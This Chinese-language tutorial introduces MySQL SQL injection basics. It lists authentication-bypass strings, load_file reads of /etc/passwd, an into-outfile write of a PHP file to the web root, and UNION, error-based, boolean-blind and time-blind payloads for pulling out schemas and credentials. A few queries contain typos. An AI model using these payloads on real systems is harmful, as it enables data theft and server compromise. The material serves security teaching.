sql注入之必备的基础知识
<p><span><strong>什么是SQL注入（SQL Injection）</strong></span></p>
<p>
所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击。</p>
<p>
<span><strong>mysql常用注释</strong></span></p>
<p>
#</p>
<p>
--[空格]或者是--+</p>
<p>
/*…*/</p>
<p>
<span>在注意过程中，这些注释可能都需要进行urlencode。</span></p>
<p>
<span><strong>mysql认证绕过</strong></span></p>
<p>
;%00</p>
<p>
‘ or 1=1 #</p>
<p>
‘ /*!or */ 1=1 --+</p>
<p>
<span><strong>mysql连接符</strong></span></p>
<p>
mysql中使用+来进行连接。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_897504">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">* </code><code class="sql keyword">from</code> <code class="sql plain">users </code><code class="sql keyword">where</code> <code class="sql plain">username=</code><code class="sql string">'zhangsan'</code> <code class="sql color1">and</code> <code class="sql string">"ab"</code><code class="sql plain">=</code><code class="sql string">"a"</code><code class="sql plain">+</code><code class="sql string">"b"</code><code class="sql plain">;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>mysql中常见函数</strong></span></p>
<p>
在进行sql注入过程中，会使用到mysql中的内置函数。在内置函数中，又分为获取信息的函数和功能函数。</p>
<p>
信息函数是用来获取mysql中的数据库的信息，功能函数就是传统的函数用来完成某项操作。</p>
<p>
常用的信息函数有：</p>
<p>
<code>database() </code>，用于获取当前所使用的数据库信息</p>
<p>
<code>version():</code>返回数据库的版本,等价于<code>@@version</code></p>
<p>
<code>user()：</code>返回当前的用户，等价如current_user参数。如：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_560420">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql color2">user</code><code class="sql plain">(); #root@localhost</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql color2">current_user</code><code class="sql plain">; #root@localhost</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>@@datadir</code>，获取数据库的存储位置。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_696404">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">@@datadir; #D:\xampp\mysql\data\</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>常见的功能函数有：</strong></span></p>
<p>
<code>load_file():</code>从计算机中载入文件,读取文件中的数据。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_65515">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">* </code><code class="sql keyword">from</code> <code class="sql plain">users </code><code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,load_file(</code><code class="sql string">'/etc/passwd'</code><code class="sql plain">),3;</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql plain">* </code><code class="sql keyword">from</code> <code class="sql plain">users </code><code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>into outfile：</code>写入文件，前提是具有写入权限</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_512288">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql string">'<?php phpinfo(); ?>'</code> <code class="sql keyword">into</code> <code class="sql plain">outfile </code><code class="sql string">'/var/www/html/xxx.php'</code><code class="sql plain">;</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql keyword">char</code><code class="sql plain">(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) </code><code class="sql keyword">into</code> <code class="sql plain">outfile </code><code class="sql string">'/var/www/html/xxx.php'</code><code class="sql plain">;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>concat():</code>返回结果为连接参数产生的字符串。如果其中一个参数为null，则返回值为null。</p>
<p>
用法如下：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_799460">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">concat(username,</code><code class="sql keyword">password</code><code class="sql plain">)</code><code class="sql keyword">from</code> <code class="sql plain">users;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>*concat_ws()</code> :是<code>concat_ws()</code>的特殊形式，第一个参数是分隔符，剩下的参数就是字段名。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_963102">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">concat_ws(</code><code class="sql string">','</code><code class="sql plain">,username,</code><code class="sql keyword">password</code><code class="sql plain">) </code><code class="sql keyword">from</code> <code class="sql plain">users;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>group_concat()</code> :用于合并多条记录中的结果。</p>
<p>
用法如下：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_747609">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">group_concat(username) </code><code class="sql keyword">from</code> <code class="sql plain">users;</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql plain">#返回的就是users表中所有的用户名，并且是作为一条记录返回。</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>subtring()</code> ,<code>substr():</code>用于截断字符串。用法为:<code>substr(str,pos,length) </code>，注意pos是从1开始的。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_326777">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">substr((</code><code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">()),1,1);</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>ascii():</code>用法返回字符所对应的ascii值。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_203093">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">ascii(</code><code class="sql string">'a'</code><code class="sql plain">); #97</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>length():</code>返回字符串的长度。</p>
<p>
如：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_378968">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">length(</code><code class="sql string">"123456"</code><code class="sql plain">) #返回6</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<code>is(exp1,exp2,exp2):</code>如果exp1的表达式是True，则返回exp2；否则返回exp3。</p>
<p>
如：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_971427">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">1,2,if(1=1,3,-1) #1,2,3</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql plain">selecrt 1,2,if(1=2,3,-1) #1,2,-1</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。</p>
<p>
<code>now():</code>返回当前的系统时间</p>
<p>
<code>hex():</code>返回字符串的16进制</p>
<p>
<code>unhex():</code>反向的hex()的16进制</p>
<p>
<code>@@basedir():</code>反向mysql的安装目录</p>
<p>
<code>@@versin_compile_os:</code>操作系统</p>
<p>
<span><strong>mysql数据库元信息</strong></span></p>
<p>
在mysql中存在<code>information_schema</code>是一个信息数据库，在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息，如数据库名，数据库的表，表的字段名称</p>
<p>
和访问权限。在<code>informa_schema</code>中常用的表有:</p>
<p>
<strong>schemata</strong>:存储了mysql中所有的数据库信息，返回的内容与show databases的结果是一样的。</p>
<p>
<strong>tables</strong>:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema，表类型，表引擎。</p>
<p>
<strong>show </strong>tables from secuiry的结果就是来自这个表</p>
<p>
<strong>columns</strong>:详细地描述了某张表的所有的列以及每个列的信息。</p>
<p>
<strong>show columns from users</strong>的结果就是来自这个表</p>
<p>
下面就是利用以上的3个表来获取数据库的信息。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_284868">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">(); #查选数据库</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql plain">schema_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.schemata limit 0,1 #查询数据库</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">select</code> <code class="sql plain">table_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">where</code> <code class="sql plain">table_schema=</code><code class="sql keyword">database</code><code class="sql plain">() limit 0,1; #查询表</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">select</code> <code class="sql plain">column_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.columns </code><code class="sql keyword">where</code> <code class="sql plain">table_name=</code><code class="sql string">'users'</code> <code class="sql plain">limit 0,1; #查询列</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>sql注入类型</strong></span></p>
<p>
sql注入类型大致可以分为常规的sql注入和sql盲注。sql盲注又可以分为基于时间的盲注和基于网页内容的盲注。<br>
关于sql的盲注，网上也有很多的说明，这里也不做过多的解释。关于盲注的概念，有具体的例子就方便进行说明。<br>
延时注入中，常用的函数就包括了<code>if()</code>和<code>sleep()</code>函数。</p>
<p>
基本的sql表达式如下：</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_438404">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">* </code><code class="sql keyword">from</code> <code class="sql plain">users </code><code class="sql keyword">where</code> <code class="sql plain">id=1 </code><code class="sql color1">and</code> <code class="sql plain">if(length(</code><code class="sql color2">user</code><code class="sql plain">())=14,sleep(3),1);</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql plain">* </code><code class="sql keyword">from</code> <code class="sql plain">users </code><code class="sql keyword">where</code> <code class="sql plain">id=1 </code><code class="sql color1">and</code> <code class="sql plain">if(mid(</code><code class="sql color2">user</code><code class="sql plain">(),1,1)=</code><code class="sql string">'r'</code><code class="sql plain">,sleep(3),1);</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>宽字节注入</strong></span></p>
<p>
关于宽字节注入，可以参考宽字节注入详解。宽字节输入一般是由于网页编码与数据库的编码不匹配造成的。对于宽字节注入，使用%d5或%df绕过</p>
<p>
<span><strong>mysql常用语句总结</strong></span></p>
<p>
<strong>常规注入</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_253994">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
<div class="line number6 index5 alt1">
6</div>
<div class="line number7 index6 alt2">
7</div>
<div class="line number8 index7 alt1">
8</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql plain">1</code><code class="sql string">' order by num # 确定字段长度</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql string">1'</code> <code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,2,3 # 确定字段长度</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql plain">-1</code><code class="sql string">' union select 1,2,3 # 判断页面中显示的字段</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql string">-1'</code> <code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,2,group_concat(schema_name) </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.schemata #显示mysql中所有的数据库</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql plain">-1</code><code class="sql string">' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #</code>
</div>
<div class="line number6 index5 alt1">
<code class="sql string">-1'</code> <code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,2,column_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.columns </code><code class="sql keyword">where</code> <code class="sql plain">table_name=</code><code class="sql string">"table_name"</code> <code class="sql plain">limit 0,1 #</code>
</div>
<div class="line number7 index6 alt2">
<code class="sql plain">-1</code><code class="sql string">' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #</code>
</div>
<div class="line number8 index7 alt1">
<code class="sql string">-1'</code> <code class="sql keyword">union</code> <code class="sql keyword">select</code> <code class="sql plain">1,2,3 </code><code class="sql color1">AND</code> <code class="sql string">'1'</code><code class="sql plain">='1 在注释符无法使用的情况下</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>双重SQL查选</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_288684">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
<div class="line number6 index5 alt1">
6</div>
<div class="line number7 index6 alt2">
7</div>
<div class="line number8 index7 alt1">
8</div>
<div class="line number9 index8 alt2">
9</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">()),0x3a,0x3a);</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql color2">count</code><code class="sql plain">(*),concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">()),0x3a,0x3a,floor(rand()*2))a </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">group</code> <code class="sql keyword">by</code> <code class="sql plain">a;</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">select</code> <code class="sql plain">concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">()),0x3a,0x3a,floor(rand()*2))a </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables;</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">select</code> <code class="sql color2">count</code><code class="sql plain">(*),concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql keyword">database</code><code class="sql plain">()),0x3a,0x3a,floor(rand()*2))a </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">group</code> <code class="sql keyword">by</code> <code class="sql plain">a; #这种sql语句的写法，常用于sql的盲注。得到数据库的信息</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql keyword">select</code> <code class="sql color2">count</code><code class="sql plain">(*),concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql plain">table_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.</code><code class="sql keyword">table</code> <code class="sql keyword">where</code> <code class="sql plain">table_schema=</code><code class="sql keyword">database</code><code class="sql plain">() limi 0,1),0x3a,0x3a,floor(rand()*2))a </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">group</code> <code class="sql keyword">by</code> <code class="sql plain">a; #得到数据库的表的信息</code>
</div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="sql spaces"> </code>
</div>
<div class="line number8 index7 alt1">
<code class="sql plain">#利用姿势如下：</code>
</div>
<div class="line number9 index8 alt2">
<code class="sql plain">1' </code><code class="sql color1">AND</code> <code class="sql plain">(</code><code class="sql keyword">select</code> <code class="sql plain">1 </code><code class="sql keyword">from</code> <code class="sql plain">(</code><code class="sql keyword">select</code> <code class="sql color2">count</code><code class="sql plain">(*),concat(0x3a,0x3a,(</code><code class="sql keyword">select</code> <code class="sql plain">table_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.</code><code class="sql keyword">table</code> <code class="sql keyword">where</code> <code class="sql plain">table_schema=</code><code class="sql keyword">database</code><code class="sql plain">() limi 0,1),0x3a,0x3a,floor(rand()*2))a </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">group</code> <code class="sql keyword">by</code> <code class="sql plain">a)b) </code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
这种利用姿势是通过mysql执行sql命令时的报错信息来得到所需要的信息的，在接下来的文章中会对这种写法进行详细地分析。</p>
<p>
<strong>bool盲注</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_211730">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql plain">1</code><code class="sql string">' and ascii(substr(select database(),1,1))>99</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql string">1'</code> <code class="sql color1">and</code> <code class="sql plain">ascii(substr((</code><code class="sql keyword">select</code> <code class="sql plain">table_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables limit 0,1),1,1))>90</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
bool盲注就是根据sql语句执行返回值是True或False对应的页面内容会发生，来得到信息。</p>
<p>
<strong>time盲注</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_54735">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql plain">1</code><code class="sql string">' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='</code><code class="sql plain">e</code><code class="sql string">',sleep(10),null) +</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql string">1'</code> <code class="sql color1">AND</code> <code class="sql keyword">select</code> <code class="sql plain">if(substr((</code><code class="sql keyword">select</code> <code class="sql plain">table_name </code><code class="sql keyword">from</code> <code class="sql plain">information_schema.tables </code><code class="sql keyword">where</code> <code class="sql plain">table_schema=</code><code class="sql keyword">database</code><code class="sql plain">() limit 0,1),1,1)=</code><code class="sql string">'e'</code><code class="sql plain">,sleep(10),</code><code class="sql color1">null</code><code class="sql plain">) </code><code class="sql comments">--+</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
上述的2种写法都是等价的，time盲注余常规的sql注入方法不同。time盲注需要一般需要使用到<code>if()</code>和<code>sleep()</code>函数。然后根据页面返回内容的长度，进而知道<code>sleep()</code>函数是否有执行。</p>
<p>
根据<code>sleep()</code>函数是否执行来得到所需的信息。</p>
<p>
<span><strong>总结</strong></span></p>
<p>
以上就是sql注入之必备的基础知识，接下来的文章将会通过实例详细地讲解sql注入中的知识，今天的这篇文章也主要是作为一个基础知识。对sql注入感兴趣的朋友们请继续关注哦。</p>
頁:
[1]